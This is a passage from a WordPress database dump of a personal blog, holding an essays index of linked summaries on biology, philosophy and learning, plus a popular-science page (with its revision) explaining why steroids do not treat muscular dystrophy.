href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-08-19 14:47:02','2021-08-19 14:47:02','',22,'https://trevorklee.com/?p=194',0,'revision','',0),
(195,1,'2021-08-25 17:44:16','2021-08-25 17:44:16','<!-- wp:paragraph -->\n<p>I like to start all my scientific inquiries off with really dumb questions. It makes life more fun. Here’s my latest: why can’t we just give steroids to people with muscular dystrophy?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It makes sense, right? Steroids make people look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":373,\"height\":248} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh6.googleusercontent.com/Vf9TiNg0E2yCOEVQ6fvcnLEVB4Rfvkvpt7tch-xDJQXoX99RG8lKS6mEEhJlOkWMvLKDsHqVMcPiaongL3PYal7wzkhsgxkCTPFpuuB9GRSBPcWfk8Pf3kyU5nEjHQYdP5WCjByj=s0\" alt=\"\" width=\"373\" height=\"248\"/><figcaption>Hypothetically. I\'d never accuse Andre Galvao of using anything other than acai.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Muscular dystrophy makes people look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":345,\"height\":232} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh5.googleusercontent.com/BRT5fP_iL6gvdWtJn4d06YHDBJ9kNQTQ6zeNrR87pEwUqQca0Ceat4G7aa70CJIK8rtftGnFtA1HN9-bmyK0xwkKOKfJFSdMMuaYx4yQvksalTAg-8ew_eavO4iCW6Ihfeo2Izht=s0\" alt=\"\" width=\"345\" height=\"232\"/><figcaption>From BMJ.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Mix the two together and you should have a guy that looks like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/dAj5vDi47QtwKS_UKxKfV1OxG3yt4Y5gAR7JnmPWg6aDFBGVVc8GKck9rOUgNmm09iaGX3-E0FNTJDs7iOv6gYtRAa-vDn3xtrD5yYNlLhyTWph0FIzJlC0_tyoQ4gDnpAfQBIgp=s0\" alt=\"\"/><figcaption>Did you know Will Smith is one of the top results when you Google Image search \"Dad bod\"?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is a really dumb question because this obviously doesn’t work. If it did, muscular dystrophy wouldn’t be such a difficult condition to treat. But...why?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, it has to do with how muscles are built. Muscles, like most parts of your body, start off as <a href=\"https://en.wikipedia.org/wiki/Mesenchymal_stem_cell\">mesenchymal stem cells</a>. These are cells in your bone marrow which can differentiate into bone, cartilage, muscle, or fat cells. They depend on a pretty complex mix of signals to tell them which cells to differentiate into at which time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Muscle is energetically expensive to maintain. As we evolved in an environment in which calories were hard to come by, your body defaults towards keeping the minimum amount of muscle necessary to meet bodily demands, which it somehow monitors based on muscle stress (this part is a little hazy in the literature). That’s why people who are bedridden for as little as <a href=\"https://www.nursingtimes.net/clinical-archive/orthopaedics/effects-of-bedrest-5-the-muscles-joints-and-mobility-18-03-2019/#:~:text=It%20typically%20takes%20about%20four,to%20fatigue%20and%20low%20mood.\">72 hours lose about 15% of muscle mass</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When your body does demand more muscle mass (e.g. in response to weightlifting stress), it uses hormones as the signal to differentiate more mesenchymal stem cells into muscle. This is why <a href=\"https://www.healthline.com/health/does-working-out-increase-testosterone\">testosterone briefly increases after resistance training in both men and women</a>. Anabolic steroids are a way of just injecting that signal directly into the body, which is <a href=\"http://www.nejm.org/doi/full/10.1056/NEJM199607043350101\">why men who use steroids and don’t work out gain more muscle than men who don’t use steroids but do work out</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So steroids just increase the amount of signal, which means more stem cells get converted into muscle. This isn’t an effective treatment for muscular dystrophy because the problem is further down the chain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s what I mean. When stem cells get converted into muscle, they end up being converted into something that looks like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/hos_bq0CAVzYhem7sL4tDOXusKlhxvAjDH3FRDeFyiKndYBtmZDjqhN8D68bj9mMAUprgoAWeWxVFvhMgGmCGntmCWagsz0LPRbETmY0hXdril6DyAtG-njBD3AteendFMzRQvqG=s0\" alt=\"\"/><figcaption>Note that this is exaggerated, like all medical diagrams. But, it\'s important to note that actins are the thin filaments, and they connect to the extracellular matrix surrounding the myofibril that keeps them in place and allows them to receive and transmit nutrients and waste products.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Note how you’ve got a bunch of tubes in a sausage casing, basically. Everything is powered by the embedded mitochondria, which go around the tubes. In muscular dystrophy, this structure gets messed up. Most commonly (i.e. in <a href=\"https://en.wikipedia.org/wiki/Duchenne_muscular_dystrophy#Cause\">Duchenne muscular dystrophy</a> and <a href=\"https://en.wikipedia.org/wiki/Becker_muscular_dystrophy\">Becker muscular dystrophy</a>), the tubes aren’t properly encased in the sausage. They’re missing a key part of their casing (the protein dystrophin), which means that the tubes are leaky, and their excess calcium leaks out and into the mitochondria, causing them to burst. No mitochondria means no power, so the muscles just die.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Recruiting more stem cells into muscle cells isn’t going to help. Whatever muscle cells you create will still have leaky tubes, and their mitochondria will still die. It’d be like if you had a construction project, and you found out that all of the wooden beams you were receiving from a supplier were rotten. Would you order more beams from that same supplier to fix the problem?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s interesting is that, at this point, this might seem pretty obvious. However, the whole field of muscular dystrophy got stuck along a very similar path for about a decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It started when people started looking into <a href=\"https://en.wikipedia.org/wiki/Myostatin\">myostatin</a>. Myostatin is a brake on muscle growth which prevents overgrowth, or hypertrophy, of muscles. Inhibiting myostatin is like removing the brake. For example, dogs that do not have myostatin look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/SBZrkiYKPXOmq6Nlk4wPWgb5qeZf56Ld7IXtRggl_K4epuzxwKK-JmvLp2A7K3uArJGzY8odJF5oKckMNfhALk0MsFFO6tRN4HnMw51W-SvKLQ55Nm6dqDK9NNPYrsJOr3Ax7xSH=s0\" alt=\"\"/><figcaption>By which I mean they look embarrassed to have their pictures taken.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Following really similar logic to our steroids example in the beginning, pharmaceutical companies poured over a decade of work (from 2006-2018-ish, so pretty recently) and over a billion dollars into trying to make myostatin inhibitors work in muscular dystrophy. The end result, in retrospect, was predictable: <a href=\"https://www.sciencedirect.com/science/article/pii/S1525001616310176\">they successfully cured muscular dystrophy in mice</a>, but not in <a href=\"https://www.nature.com/articles/s41467-017-01486-4\">humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More promising approaches towards curing muscular dystrophy involve creating dystrophin or rescuing mitochondria, although those are much more difficult and complicated to do than inhibiting myostatin or administering steroids. It remains to be seen how successful those approaches will be. Stay tuned!</p>\n<!-- /wp:paragraph -->','Why can\'t we just give steroids to people with muscular dystrophy?','','publish','closed','closed','','why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy','','','2021-08-25 17:44:16','2021-08-25 17:44:16','',0,'https://trevorklee.com/?page_id=195',0,'page','',0),
(196,1,'2021-08-25 17:44:16','2021-08-25 17:44:16','<!-- wp:paragraph -->\n<p>I like to start all my scientific inquiries off with really dumb questions. It makes life more fun. Here’s my latest: why can’t we just give steroids to people with muscular dystrophy?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It makes sense, right? Steroids make people look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":373,\"height\":248} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh6.googleusercontent.com/Vf9TiNg0E2yCOEVQ6fvcnLEVB4Rfvkvpt7tch-xDJQXoX99RG8lKS6mEEhJlOkWMvLKDsHqVMcPiaongL3PYal7wzkhsgxkCTPFpuuB9GRSBPcWfk8Pf3kyU5nEjHQYdP5WCjByj=s0\" alt=\"\" width=\"373\" height=\"248\"/><figcaption>Hypothetically. I\'d never accuse Andre Galvao of using anything other than acai.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Muscular dystrophy makes people look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":345,\"height\":232} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh5.googleusercontent.com/BRT5fP_iL6gvdWtJn4d06YHDBJ9kNQTQ6zeNrR87pEwUqQca0Ceat4G7aa70CJIK8rtftGnFtA1HN9-bmyK0xwkKOKfJFSdMMuaYx4yQvksalTAg-8ew_eavO4iCW6Ihfeo2Izht=s0\" alt=\"\" width=\"345\" height=\"232\"/><figcaption>From BMJ.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Mix the two together and you should have a guy that looks like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/dAj5vDi47QtwKS_UKxKfV1OxG3yt4Y5gAR7JnmPWg6aDFBGVVc8GKck9rOUgNmm09iaGX3-E0FNTJDs7iOv6gYtRAa-vDn3xtrD5yYNlLhyTWph0FIzJlC0_tyoQ4gDnpAfQBIgp=s0\" alt=\"\"/><figcaption>Did you know Will Smith is one of the top results when you Google Image search \"Dad bod\"?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is a really dumb question because this obviously doesn’t work. If it did, muscular dystrophy wouldn’t be such a difficult condition to treat. But...why?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, it has to do with how muscles are built. Muscles, like most parts of your body, start off as <a href=\"https://en.wikipedia.org/wiki/Mesenchymal_stem_cell\">mesenchymal stem cells</a>. These are cells in your bone marrow which can differentiate into bone, cartilage, muscle, or fat cells. They depend on a pretty complex mix of signals to tell them which cells to differentiate into at which time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Muscle is energetically expensive to maintain. As we evolved in an environment in which calories were hard to come by, your body defaults towards keeping the minimum amount of muscle necessary to meet bodily demands, which it somehow monitors based on muscle stress (this part is a little hazy in the literature). That’s why people who are bedridden for as little as <a href=\"https://www.nursingtimes.net/clinical-archive/orthopaedics/effects-of-bedrest-5-the-muscles-joints-and-mobility-18-03-2019/#:~:text=It%20typically%20takes%20about%20four,to%20fatigue%20and%20low%20mood.\">72 hours lose about 15% of muscle mass</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When your body does demand more muscle mass (e.g. in response to weightlifting stress), it uses hormones as the signal to differentiate more mesenchymal stem cells into muscle. This is why <a href=\"https://www.healthline.com/health/does-working-out-increase-testosterone\">testosterone briefly increases after resistance training in both men and women</a>. Anabolic steroids are a way of just injecting that signal directly into the body, which is <a href=\"http://www.nejm.org/doi/full/10.1056/NEJM199607043350101\">why men who use steroids and don’t work out gain more muscle than men who don’t use steroids but do work out</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So steroids just increase the amount of signal, which means more stem cells get converted into muscle. This isn’t an effective treatment for muscular dystrophy because the problem is further down the chain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s what I mean. When stem cells get converted into muscle, they end up being converted into something that looks like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/hos_bq0CAVzYhem7sL4tDOXusKlhxvAjDH3FRDeFyiKndYBtmZDjqhN8D68bj9mMAUprgoAWeWxVFvhMgGmCGntmCWagsz0LPRbETmY0hXdril6DyAtG-njBD3AteendFMzRQvqG=s0\" alt=\"\"/><figcaption>Note that this is exaggerated, like all medical diagrams. But, it\'s important to note that actins are the thin filaments, and they connect to the extracellular matrix surrounding the myofibril that keeps them in place and allows them to receive and transmit nutrients and waste products.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Note how you’ve got a bunch of tubes in a sausage casing, basically. Everything is powered by the embedded mitochondria, which go around the tubes. In muscular dystrophy, this structure gets messed up. Most commonly (i.e. in <a href=\"https://en.wikipedia.org/wiki/Duchenne_muscular_dystrophy#Cause\">Duchenne muscular dystrophy</a> and <a href=\"https://en.wikipedia.org/wiki/Becker_muscular_dystrophy\">Becker muscular dystrophy</a>), the tubes aren’t properly encased in the sausage. They’re missing a key part of their casing (the protein dystrophin), which means that the tubes are leaky, and their excess calcium leaks out and into the mitochondria, causing them to burst. No mitochondria means no power, so the muscles just die.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Recruiting more stem cells into muscle cells isn’t going to help. Whatever muscle cells you create will still have leaky tubes, and their mitochondria will still die. It’d be like if you had a construction project, and you found out that all of the wooden beams you were receiving from a supplier were rotten. Would you order more beams from that same supplier to fix the problem?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s interesting is that, at this point, this might seem pretty obvious. However, the whole field of muscular dystrophy got stuck along a very similar path for about a decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It started when people started looking into <a href=\"https://en.wikipedia.org/wiki/Myostatin\">myostatin</a>. Myostatin is a brake on muscle growth which prevents overgrowth, or hypertrophy, of muscles. Inhibiting myostatin is like removing the brake. For example, dogs that do not have myostatin look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/SBZrkiYKPXOmq6Nlk4wPWgb5qeZf56Ld7IXtRggl_K4epuzxwKK-JmvLp2A7K3uArJGzY8odJF5oKckMNfhALk0MsFFO6tRN4HnMw51W-SvKLQ55Nm6dqDK9NNPYrsJOr3Ax7xSH=s0\" alt=\"\"/><figcaption>By which I mean they look embarrassed to have their pictures taken.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Following really similar logic to our steroids example in the beginning, pharmaceutical companies poured over a decade of work (from 2006-2018-ish, so pretty recently) and over a billion dollars into trying to make myostatin inhibitors work in muscular dystrophy. The end result, in retrospect, was predictable: <a href=\"https://www.sciencedirect.com/science/article/pii/S1525001616310176\">they successfully cured muscular dystrophy in mice</a>, but not in <a href=\"https://www.nature.com/articles/s41467-017-01486-4\">humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More promising approaches towards curing muscular dystrophy involve creating dystrophin or rescuing mitochondria, although those are much more difficult and complicated to do than inhibiting myostatin or administering steroids. It remains to be seen how successful those approaches will be. Stay tuned!</p>\n<!-- /wp:paragraph -->','Why can\'t we just give steroids to people with muscular dystrophy?','','inherit','closed','closed','','195-revision-v1','','','2021-08-25 17:44:16','2021-08-25 17:44:16','',195,'https://trevorklee.com/?p=196',0,'revision','',0),
(199,1,'2021-08-26 14:18:14','2021-08-26 14:18:14','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction 